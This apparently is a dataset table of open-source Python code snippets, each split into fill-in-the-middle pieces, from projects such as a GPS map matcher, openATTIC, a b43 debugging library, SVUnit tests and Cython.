if selected_items:
for index in selected_items:
proj.RemoveSurface(index)
actor = old_dict[index]
for i in old_dict:
if i < index:
new_dict[i] = old... |
pedrocamargo/map_matching | map_matching/finding_network_links.py | Python | apache-2.0 | 3,468 | 0.005479 | #-------------------------------------------------------------------------------
# Name: Step 2 in map matching
# Purpose: Finds the links likely corresponding to each GPS ping
#
# Author: Pedro Camargo
#
# Created: 09/04/2017
# Copyright: (c) pcamargo 2017
# Licence: APACHE 2.0
#-------------... | _lin | ks = []
for g, t in enumerate(trip.gps_trace.index):
# Collects all info on a ping
if trip.has_speed:
veh_speed = trip.gps_trace.at[t, 'speed']
if trip.has_azimuth:
veh_azimuth = trip.gps_trace.at[t, 'azimuth']
y = trip.gps_trace.at[t, 'latitude']
x =... |
openattic/openattic | backend/ceph_nfs/views/ganesha_mgr_view.py | Python | gpl-2.0 | 4,167 | 0.00144 | # -*- coding: utf-8 -*-
"""
* Copyright (c) 2017 SUSE LLC
*
* openATTIC is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2.
*
* This package is distributed in the hope that it will be usefu... | ask = tasks.async_stop_expo | rts.delay(host)
logger.info("Scheduled stop of NFS exports for host=%s: taskqueue_id=%s", host, my_task.id)
else:
my_task = tasks.async_stop_exports.delay()
logger.info("Scheduled stop of NFS exports: taskqueue_id=%s", my_task.id)
return Response({'taskqueue_id': my_task.id})
@api_view... |
itsneo1990/sanic_blog | apps/user/__init__.py | Python | mit | 127 | 0 | # -*- coding:utf-8 -*- |
# __author__ = itsneo1990
import sanic
user_bp = sanic.Blueprint("user_blueprint", url_prefix='us | er')
|
FabianKnapp/nexmon | buildtools/b43/debug/libb43.py | Python | gpl-3.0 | 19,793 | 0.03193 | """
# b43 debugging library
#
# Copyright (C) 2008-2010 Michael Buesch <[email protected]>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 3
# as published by the Free Software Foundation.
#
# This program is distributed in the hope t... | a 16bit SHM write"""
self.shmMaskSet16(routing, offset, 0, value)
return
def shmRead32(self, routing, offset):
"""Do a 32bit SHM read"""
try:
self.f_shm32read. | seek(0)
self.f_shm32read.write("0x%X 0x%X" % (routing, offset))
self.f_shm32read.flush()
self.f_shm32read.seek(0)
val = self.f_shm32read.read()
except IOError, e:
print "Could not access debugfs file %s: %s" % (e.filename, e.strerror)
raise B43Exception
return int(val, 16)
def shmMaskSet32(self,... |
CraftSpider/CraftBin | Python/utils/interp/__init__.py | Python | apache-2.0 | 210 | 0.004762 | """
An API for registering interactive command line tools, with argument parsing
and event handl | ing
"""
from .commands import Command, GroupMixin, command
from .interpreter import Interpreter, Context
| |
gsuitedevs/hangouts-chat-samples | python/card-bot/main.py | Python | apache-2.0 | 9,379 | 0.000853 | # Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 'openLink': {
'url': 'https://developers.google.com',
}
}
}
}
]
})
elif word == 'imagebutton':
| widgets.append({
'buttons': [
{
'imageButton': {
'icon': 'EVENT_SEAT',
'onClick': {
'openLink': {
'url': 'https://developers.google... |
shawnsi/bisectdemo | squares.py | Python | mit | 176 | 0.005682 | #!/usr/bin/env python
from __future__ import print_f | unction
import sys
| integer = int(sys.argv[1])
print(integer**2)
# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4
|
maw/python-kestrel | kestrel.py | Python | mit | 2,224 | 0.008094 | # -*- coding: utf-8 -*-
import memcache
# XXX where best to specify timeout? constructor or various methods?
class KestrelEnqueueException(Exception):
pass
class connection(object):
def __init__(self, s | ervers, queue, reliable=True,
default_timeout=0, fanout_key=None):
if fanout_key == None:
self.__queue = queue
else:
self.__queue = "%s+ | %s" % (queue, fanout_key)
pass
self.__reliable = reliable
if default_timeout == 0:
self.__timeout_suffix = ""
else:
self.__timeout_suffix = "t=%d" % default_timeout
pass
if reliable:
self.dequeue = sel... |
calston/tdjango | manage_test.py | Python | mit | 264 | 0.003788 | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "tdjango.tests.testapp.settings")
from django.core.managem | ent impo | rt execute_from_command_line
execute_from_command_line(sys.argv)
|
OCA/OpenUpgrade | docsource/conf.py | Python | agpl-3.0 | 5,996 | 0.000167 | #
# OpenUpgrade documentation build configuration file, created by
# sphinx-quickstart on Wed Nov 30 10:38:00 2011.
#
# This file is execfile()d with the current directory set to its containing
# dir.
#
# The contents of this file are pickled, so don't put values in the namespace
# that aren't pickleable (module import... | anuals.
# latex_appendices = []
# If false | , no module index is generated.
# latex_use_modindex = True
|
svunit/svunit | test/test_run_script.py | Python | apache-2.0 | 9,783 | 0.001738 | import subprocess
import pytest
from utils import *
@all_available_simulators()
def test_filter(tmp_path, simulator):
unit_test = tmp_path.joinpath('some_unit_test.sv')
unit_test.write_text('''
module some_unit_test;
import svunit_pkg::*;
`include "svunit_defines.svh"
string name = "some_ut";
svun... | block the fail')
subprocess.check_call(
[
'runSVUnit',
'-s', simulator,
'--filter', '*.some_passing_test:*.some_other_passing_test:*.yet_another_passing_test',
| ],
cwd=tmp_path)
assert 'FAILED' not in log.read_text()
assert 'some_passing_test' in log.read_text()
assert 'some_other_passing_test' in log.read_text()
assert 'yet_another_passing_test' in log.read_text()
@all_available_simulators()
def test_negative_filter(tmp_path, simulator):... |
supunkamburugamuve/mooc2 | models/config.py | Python | apache-2.0 | 8,582 | 0.000466 | # Copyright 2012 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | :
logging.error(
'Property is not registered (skipped): %s', name)
continue
target = cls.registered[name]
if target and not item.is_draft:
# Enforce value type.
try:
value = transforms.string... | error(
'Property %s failed to cast to a type %s; removing.',
target.name, target.value_type)
continue
# Don't allow disabling of update interval from a database.
if name == UPDATE_INTERVAL_SEC.name:
... |
hhsprings/cython | Cython/Compiler/Optimize.py | Python | apache-2.0 | 186,187 | 0.003829 | from __future | __ import absolute_import
import sys
import copy
import codecs
from . import TypeSlots
from .ExprNodes import not_a_constant
import cython
cython.declare(UtilityCode=object, EncodedString=object, bytes_literal=object,
Nodes=object, ExprNodes=object, PyrexTypes=object, Builtin=object,
Uti... | _py_int_types = (int, long)
from . import Nodes
from . import ExprNodes
from . import PyrexTypes
from . import Visitor
from . import Builtin
from . import UtilNodes
from . import Options
from .Code import UtilityCode, TempitaUtilityCode
from .StringEncoding import EncodedString, bytes_literal
from .Errors import ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.